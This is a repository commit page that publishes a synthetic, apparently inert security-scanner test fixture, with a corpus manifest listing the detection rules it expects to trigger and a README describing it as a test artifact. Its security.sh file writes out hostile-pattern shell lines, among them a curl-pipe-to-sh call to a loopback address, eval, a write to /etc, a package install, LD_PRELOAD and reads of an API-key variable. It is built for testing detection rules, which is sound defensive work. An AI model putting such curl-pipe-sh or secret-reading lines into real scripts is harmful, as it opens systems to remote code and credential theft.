izm1chael commited on
Commit
6ba3956
·
verified ·
1 Parent(s): 79762b8

Publish Layerfault synthetic corpus LF-CORPUS-SH-0001

Browse files
Files changed (6) hide show
  1. LAYERFAULT_CORPUS.json +27 -0
  2. README.md +61 -0
  3. SHA256SUMS.json +27 -0
  4. canary.sh +1 -0
  5. model.safetensors +3 -0
  6. security.sh +10 -0
LAYERFAULT_CORPUS.json ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "candidate_rules": [
3
+ "LF-SHELL-CURL-PIPE",
4
+ "LF-SHELL-DOT-SOURCE"
5
+ ],
6
+ "corpus_id": "LF-CORPUS-SH-0001",
7
+ "description": "Shell package with canary dynamic-code, dot-source, filesystem write, loopback curl-pipe, package-manager and native-load/environment patterns.",
8
+ "expected_rules": [
9
+ "LF-SHELL-SEMANTIC-CREDENTIAL-ACCESS",
10
+ "LF-SHELL-SEMANTIC-CURL-PIPE-SH",
11
+ "LF-SHELL-SEMANTIC-DYNAMIC-CODE",
12
+ "LF-SHELL-SEMANTIC-FILESYSTEM-WRITE",
13
+ "LF-SHELL-SEMANTIC-NATIVE-LOAD",
14
+ "LF-SHELL-SEMANTIC-PACKAGE-INSTALL"
15
+ ],
16
+ "generator": "packages.shell_chain",
17
+ "ground_truth": "synthetic-generated",
18
+ "must_not_rules": [],
19
+ "repo_name": "shell-capability-chain",
20
+ "repo_type": "model",
21
+ "safety": "inert/canary-only",
22
+ "schema": 1,
23
+ "validation": {
24
+ "kind": "verify-package",
25
+ "target": "."
26
+ }
27
+ }
README.md ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: apache-2.0
3
+ tags:
4
+ - layerfault
5
+ - security-research
6
+ - model-security
7
+ - synthetic
8
+ - adversarial-testing
9
+ extra_gated_prompt: >-
10
+ This repository is a synthetic security-test artifact from the Layerfault
11
+ corpus. It intentionally contains adversarial characteristics (e.g.
12
+ suspicious pickle opcodes, executable-format smuggling, prompt-injection
13
+ strings) designed to exercise security scanner detection rules. It is
14
+ **not** a usable ML model and must never be loaded or executed outside an
15
+ isolated scanner-testing environment. By accepting, you confirm you
16
+ understand this repository is a test fixture, not production model
17
+ weights.
18
+ extra_gated_button_content: I understand this is a security test fixture and accept the risk
19
+ gated: auto
20
+ ---
21
+
22
+ # shell-capability-chain
23
+
24
+ > **SECURITY TEST ARTIFACT — DO NOT USE AS A PRODUCTION MODEL**
25
+
26
+ This repository is part of the Layerfault synthetic security corpus.
27
+ It is deliberately constructed to contain security-relevant characteristics for scanner testing.
28
+
29
+ **Corpus ID:** `LF-CORPUS-SH-0001`
30
+
31
+ ## Purpose
32
+
33
+ Shell package with canary dynamic-code, dot-source, filesystem write, loopback curl-pipe, package-manager and native-load/environment patterns.
34
+
35
+ ## Direct expected Layerfault rules
36
+
37
+ - `LF-SHELL-SEMANTIC-CREDENTIAL-ACCESS`
38
+ - `LF-SHELL-SEMANTIC-CURL-PIPE-SH`
39
+ - `LF-SHELL-SEMANTIC-DYNAMIC-CODE`
40
+ - `LF-SHELL-SEMANTIC-FILESYSTEM-WRITE`
41
+ - `LF-SHELL-SEMANTIC-NATIVE-LOAD`
42
+ - `LF-SHELL-SEMANTIC-PACKAGE-INSTALL`
43
+
44
+ ## Candidate rules
45
+
46
+ These are deliberately plausible targets that remain marked as candidates until the exact
47
+ Layerfault build used for certification confirms them.
48
+
49
+ - `LF-SHELL-CURL-PIPE`
50
+ - `LF-SHELL-DOT-SOURCE`
51
+
52
+ ## Negative-control rules
53
+
54
+ These should remain silent for this corpus item.
55
+
56
+ - None
57
+
58
+ ## Safety
59
+
60
+ The corpus uses fake secrets, loopback/`.invalid` network destinations, harmless marker output,
61
+ and synthetic model behavior only. It is intended for static scanning and isolated security testing.
SHA256SUMS.json ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [
2
+ {
3
+ "path": "LAYERFAULT_CORPUS.json",
4
+ "sha256": "ddd610affad155b44e01ae0f092d8b8fef6b7480410f27104b815e189dee0e27",
5
+ "size": 836
6
+ },
7
+ {
8
+ "path": "README.md",
9
+ "sha256": "37e3440780aa6d13bf98e8361815ea8c402c606d1a2103debdea0983597511b9",
10
+ "size": 1985
11
+ },
12
+ {
13
+ "path": "canary.sh",
14
+ "sha256": "a17fcf0a2f50e2d495e4f90ce263410edc183add6c62699a2facbccf60410f74",
15
+ "size": 5
16
+ },
17
+ {
18
+ "path": "model.safetensors",
19
+ "sha256": "a93e4b89dd8218d941be2b57882ed3185f71a7ebfc003548fd494aa8a795ca2f",
20
+ "size": 856
21
+ },
22
+ {
23
+ "path": "security.sh",
24
+ "sha256": "98c6c21054748e477bf7b0b70a6b06c5db27aa2f03713d1ebbe4bbc6ad9dc4ef",
25
+ "size": 321
26
+ }
27
+ ]
canary.sh ADDED
@@ -0,0 +1 @@
 
 
1
+ true
model.safetensors ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:a93e4b89dd8218d941be2b57882ed3185f71a7ebfc003548fd494aa8a795ca2f
3
+ size 856
security.sh ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/bin/sh
2
+ set -eu
3
+ FAKE="${LAYERFAULT_SYNTHETIC_API_KEY:-}"
4
+ eval "echo LAYERFAULT_CANARY >/dev/null"
5
+ . ./canary.sh
6
+ printf '%s\n' canary > /etc/layerfault-shell-canary
7
+ curl -fsS http://127.0.0.1:9 | sh
8
+ pip install layerfault-synthetic-canary
9
+ LD_PRELOAD=/dev/null true
10
+ printf '%s' "$LAYERFAULT_SYNTHETIC_API_KEY" >/dev/null